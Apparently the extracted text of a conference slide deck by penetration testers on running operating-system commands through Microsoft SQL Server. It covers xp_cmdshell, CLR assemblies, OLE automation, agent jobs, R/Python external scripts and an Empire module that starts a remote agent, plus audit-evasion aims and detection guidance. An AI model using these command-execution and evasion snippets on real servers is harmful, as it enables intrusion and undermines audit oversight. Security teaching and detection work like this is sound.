Beyond XP - Cmdshell Owning SQL
Beyond XP - Cmdshell Owning SQL
MISSION OBJECTIVES
1. Get Access
2. Hide from Audit Controls
3. Execute OS Commands
4. Use SQL Server as a beach head
5. Detect OS Command Execution
Alexander Leary
Name: Alexander Leary
WMI
Job: Network & Application Pentester @ NetSPI
Twitter: @0xbadjuju
Code:
https://blog.netspi.com/author/aleary/
https://blog.netspi.com/expanding-the-empire-with-sql/
4 U
5 Confidential & Proprietary
6
BEYOND XP_CMDSHELL
Scott Sutherland
Name: Scott Sutherland
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/netspi/PowerUpSQL
https://github.com/nullbind
Access
SQL Server using Crack or Relay
Service Account Password Hash
(sysadmin)
DEMO
Database 2
Server Audit Server
Audit
Specification Audit
Specification
Database 1
Audit
Specification
SELECT audit_id,
a.name as audit_name,
s.name as server_specification_name,
d.audit_action_name,
s.is_state_enabled,
d.is_group,
d.audit_action_id,
s.create_date,
s.modify_date
FROM sys.server_audits AS a
JOIN sys.server_audit_specifications AS s
ON a.audit_guid = s.audit_guid
JOIN sys.server_audit_specification_details AS d
ON s.server_specification_id = d.server_specification_id
OS COMMAND
EXECUTION
26 Confidential & Proprietary
27
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
Reminder
OS commands via SQL Server = Windows Account Impersonation
xp_cmdshell
xp_cmdshell: Overview
1. C++ DLL export registered by default
2. Affected Versions: All
Disabled by default since SQL Server 2005
3. Requires sysadmin role by default
4. EXECUTE privileges can be granted to a database user if the
xp_cmdshell_proxy_account is configured correctly
5. Executes as the SQL Server service account
CAN THEY
Yes, yes they can.
SEE ME ?!?!
GOOD
NEWS
35 Confidential & Proprietary
36
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
THERE ARE
OTHER
OPTIONS
36 Confidential & Proprietary
37
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
Extended Stored
Procedures
return 1;
}
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
40 Confidential & Proprietary
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
41
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
return 1;
}
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
41 Confidential & Proprietary
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
42
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
return 1;
}
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
42 Confidential & Proprietary
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
43
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
return 1;
}
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
43 Confidential & Proprietary
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
44
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
-- Run xp
Exec RunPs
-- Remove xp
sp_dropextendedproc ‘RunPs’
Common Language
Runtime (CLR)
Assemblies
51 Confidential & Proprietary
52
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
53 http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/
Confidential & Proprietary
54
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
54 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
55
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
55 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
56
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
56 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
57
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
57 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
58
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
58 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
59
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
59 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
60
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
60 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
61
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
61 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
62
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
62 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
63
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
63 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
64
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
64 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
66
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code – TSQL – Select Assemblies
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
69
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Confidential & Proprietary
70
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
71
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Confidential & Proprietary
73
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
Ole Automation
Procedures
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
SELECT @FileContents
GO
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
SELECT @FileContents
GO
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
SELECT @FileContents
GO
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
SELECT @FileContents
GO
-- Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @handle int
DECLARE @Command varchar(8000)
-- Setup namespace
EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT
-- Display command
SELECT @Command
-- Run command
execute(@Command)
Agent Jobs
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ;
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ;
RunCmd();
',
@database_name=N'JavaScript',
@flags=0
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ;
END FUNCTION',
@database_name=N'VBScript',
@flags=0
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ;
93 https://github.com/tyranid/oleviewdotnet
Confidential & Proprietary
94
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
External Scripts
R & Python
100 Confidential & Proprietary
101
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c
whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
EXEC sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([Output] nvarchar(max)))
File Autoruns
Execute xp_cmdshell 2000 - 2017 Yes Yes SQL Server Service Account Yes Yes No sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
xp_cmdshell Proxy Account EXEC sp_configure 'xp_cmdshell', 1;
xp_cmdshell 'whoami’
sp_xp_cmdshell_proxy_account
Grant execute on xp_cmdshell to [x]
Create & Execute a Extended Stored Procedure 2000 - 2017 Yes No SQL Server Service Account No No Yes sp_addextendedproc
Create & Execute a CLR Assembly 2008 -2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘clr enabled', 1;
sp_configure ‘clr strict security’, 0;
CREATE ASSEMBLY+CREATE PROCEDURE , ALTER
ASSEMBLY, or DDL_Admin
Requires: Database has ‘Is_Trustworthy’ flag set.
Execute a OLE Automation Procedure 2000 - 2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘Ole Automation Procedures', 1;
GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to
[public]
GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to
[public]
Create & Execute an Agent Job 2000 - 2017 Yes Yes SQL Server Yes No No sp_add_job that is not tsql
• CmdExec Agent Service Account Runs as agent service account when created by sysadmin.
• PowerShell Proxy Account Must be configured with proxy account for non sysadmin
• SSIS users provided a agent role: SQLAgentUserRole,
• ActiveX: Jscript SQLAgentReaderRole, SQLAgentOperatorRole
• ActiveX: VBScript
External Scripting: R 2016 – 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1;
External Scripting: Python 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1;
OS Autoruns 2000 - 2017 Yes Yes Depends on autorun No Yes Yes Files: Bulk Insert:
• File location GRANT ADMINISTER BULK OPERATIONS TO [public]
• Registry Files: sp_addlinkedserver / Openrowset / Opendataset
Registry: xp_regread / xp_regwrite
Providers 2005 - 2017 Yes Maybe SQL Server Yes Yes Yes sp_addlinkedserver / Openrowset / Opendataset
• Microsoft.ACE.OLEDB.12.0 Service Account Sp_configure ‘enabled ad-hoc queries’,1
• Microsoft.Jet.OLEDB.4.0 Can mdb be unc?
121 Confidential & Proprietary
122
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
FUTURE RESEARCH
Other providers.
Write one function to evaluate audit controls, cmdexec options,
and automatically choose best one.
POWERSHELL
EMPIRE
MODULES https://github.com/EmpireProject/Empire
Module 3
Name: Invoke-SQLOSCMD
Module: powershell/lateral_movement/invoke_sqloscmd
NeedsAdmin: False
OpsecSafe: True
Example screenshot
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
@nullbind
@0xbadjuju
Description:
Executes a command or stager on remote hosts using
xp_cmdshell.
Options:
Module 3
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Example screenshot
Job started: 6KVEUC
nt service\mssqlserver
Module 3
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Example screenshot
Job started: X3U26K
[+] Initial agent 59BNMXTA from 192.168.1.195 now active
EXECUTION
missing something?
What can
I do?
Let’s do it!
1. Create Server Audit
2. Create Server Audit Specification
3. Create Database Audit Specification
SIEM Cheatsheet
Windows Application Log
Event ID: 15457
Description: Server configuration changes.
- Configuration option 'external scripts enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'Ole Automation Procedures' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'clr enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'clr strict security' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'Ad Hoc Distributed Queries' changed from 0 to 1. Run the RECONFIGURE statement to install.
SIEM Cheatsheet
Windows Application Log
Event ID: 33205
Description: Agent and database level changes.
- msdb.dbo.sp_add_job Watch for potentially malicious ActiveX, cmdexec, and powershell jobs.
- sp_execute_external_script Watch for cmd.exe and similar calls.
- sp_OACreate Watch for Sp_oacreate 'wscript.shell’ and similar calls
- sp_addextendedproc Watch for any usage
- sp_add_trusted_assembly Watch for unauthorized usage
Take Aways
1. xp_cmdshell is NOT the only OS command execution option
2. SQL Server can be used as a beach head to help avoid detection
during domain escalation and red team engagements
3. Empire and PowerUpSQL have modules/functions to support some
of the attacks and auditing
4. Every technique can be logged, but most people don’t
We can be better!
QUESTIONS?
http://slideshare.net/nullbind/
You got this!
@0xbadjuju
@_nullbind
QUESTIONS?
http://slideshare.net/nullbind/
Let’s do it!
@0xbadjuju
@_nullbind